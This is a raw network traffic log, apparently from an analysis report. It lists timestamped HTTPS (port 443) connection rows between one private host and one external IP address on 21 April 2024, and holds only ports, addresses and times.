Apr 21, 2024 15:31:24.978374958 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.979742050 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.979768991 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.979994059 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:24.981266975 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.981355906 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:24.981398106 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.307797909 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.307962894 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.308023930 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.308124065 CEST	49755	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.308135986 CEST	443	49755	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.377993107 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.378084898 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.378139019 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.378248930 CEST	49757	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.378272057 CEST	443	49757	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.393193960 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.393240929 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.393306017 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.393562078 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.393579960 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.400373936 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.400404930 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.400473118 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.400719881 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.400731087 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.499635935 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.499751091 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.499804020 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.499938965 CEST	49756	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.499950886 CEST	443	49756	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.610802889 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.610860109 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.618786097 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.618871927 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.625751019 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.625792980 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.625983953 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.627052069 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.627116919 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.627125025 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.627156019 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.627182007 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.627238989 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.628170013 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.628223896 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.628405094 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.628431082 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.628632069 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.629621983 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.629723072 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.629775047 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.847788095 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.847862959 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.849229097 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.849244118 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.849600077 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:25.851356030 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.851581097 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:25.851614952 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.135431051 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.135545969 CEST	443	49758	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.135658026 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.135696888 CEST	49758	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.144119024 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.144371986 CEST	443	49759	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.144423008 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.144489050 CEST	49759	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.161205053 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.161273003 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.161350965 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.161696911 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.161731958 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.380247116 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.380562067 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.381700039 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.381731033 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.381951094 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.383657932 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.383728981 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.383743048 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.403476954 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.403598070 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.403893948 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.403939009 CEST	49760	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.403960943 CEST	443	49760	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.417620897 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.417654037 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.417943954 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.418185949 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.418200016 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.580249071 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.580346107 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.584189892 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.584599972 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.584635019 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.640948057 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.641323090 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.642519951 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.642534018 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.642865896 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.644247055 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.644247055 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.644273043 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.763214111 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.763309002 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.763358116 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.763417006 CEST	49761	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.763433933 CEST	443	49761	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.804188013 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.804259062 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.805485010 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.805512905 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.805903912 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.807151079 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.807849884 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.807893038 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.808053970 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.808096886 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.808218956 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.808341026 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.808497906 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.808537960 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.808736086 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.808783054 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.808959961 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.809017897 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.809045076 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.809056997 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.809204102 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.809243917 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.809284925 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.809467077 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.809518099 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.856117964 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.856401920 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.856493950 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.856545925 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.904118061 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:26.904249907 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.943413973 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:26.943475962 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.185971022 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.186265945 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.186317921 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.186348915 CEST	49762	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.186364889 CEST	443	49762	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.425466061 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.425503016 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.425556898 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.426055908 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.426073074 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.643686056 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.643779993 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.647638083 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.647646904 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.647851944 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.649435997 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.650154114 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.650182962 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.650278091 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.650310040 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.650460958 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.650497913 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.650650024 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.650685072 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.650832891 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.650868893 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.652666092 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.652697086 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.652707100 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.652723074 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.652916908 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.652944088 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.652964115 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.656678915 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.656712055 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.696150064 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.696754932 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.696784973 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.696808100 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.696827888 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.696849108 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.696862936 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.696942091 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.696963072 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.699273109 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.699388981 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.699464083 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.699618101 CEST	49763	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.699662924 CEST	443	49763	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.781052113 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.781120062 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:27.781203985 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.781653881 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:27.781686068 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.001631975 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.001714945 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.003046036 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.003063917 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.003405094 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.004704952 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.005628109 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.005683899 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.005789042 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.005840063 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.005981922 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.006022930 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.006162882 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.006201029 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.006361961 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.006398916 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.006613016 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.006654978 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.048162937 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.048409939 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.048477888 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.096143007 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.096328974 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.096407890 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.096432924 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.144141912 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.144346952 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.144399881 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.192117929 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.192285061 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.214385033 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.214481115 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.214627981 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:28.214657068 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:28.423871040 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:29.219578981 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:29.219679117 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:29.219897985 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:29.220118046 CEST	49764	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:29.220139027 CEST	443	49764	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:29.576565981 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:29.576746941 CEST	443	49765	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:29.576908112 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:29.576970100 CEST	49765	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.056457043 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.056507111 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.056564093 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.057816982 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.057828903 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.277770042 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.277853012 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.279408932 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.279417992 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.279732943 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.334022045 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.346985102 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.347012997 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.347074986 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.817008972 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.817101002 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.817205906 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.817434072 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.817447901 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.817457914 CEST	49766	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.817462921 CEST	443	49766	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.821299076 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.821366072 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:33.821451902 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.821783066 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:33.821818113 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.038543940 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.038697958 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.039875031 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.039904118 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.040139914 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.041327000 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.041368961 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.041409016 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449635983 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449708939 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449743986 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449795961 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449851036 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449862957 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.449887037 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449943066 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.449999094 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.449999094 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.450021029 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.450089931 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.450124025 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.450153112 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.450160980 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.450175047 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.450232029 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.450305939 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.450364113 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.450364113 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.451323986 CEST	49767	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.451358080 CEST	443	49767	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.487440109 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.487468958 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.487629890 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.487931013 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.487938881 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.706285954 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.706388950 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.707578897 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.707587004 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.707796097 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.710227966 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.710227966 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.710268974 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:34.710328102 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:34.710335016 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.277228117 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.277318954 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.277385950 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.279442072 CEST	49768	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.279469013 CEST	443	49768	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.292637110 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.292732000 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.292854071 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.293169975 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.293204069 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.510799885 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.510971069 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.512057066 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.512093067 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.512320995 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:35.513591051 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.513726950 CEST	49769	443	192.168.2.4	172.67.189.66
Apr 21, 2024 15:31:35.513766050 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.034908056 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.034995079 CEST	443	49769	172.67.189.66	192.168.2.4
Apr 21, 2024 15:31:36.035079002 CEST	49769	443	192.168.2.4	172.67.189.66
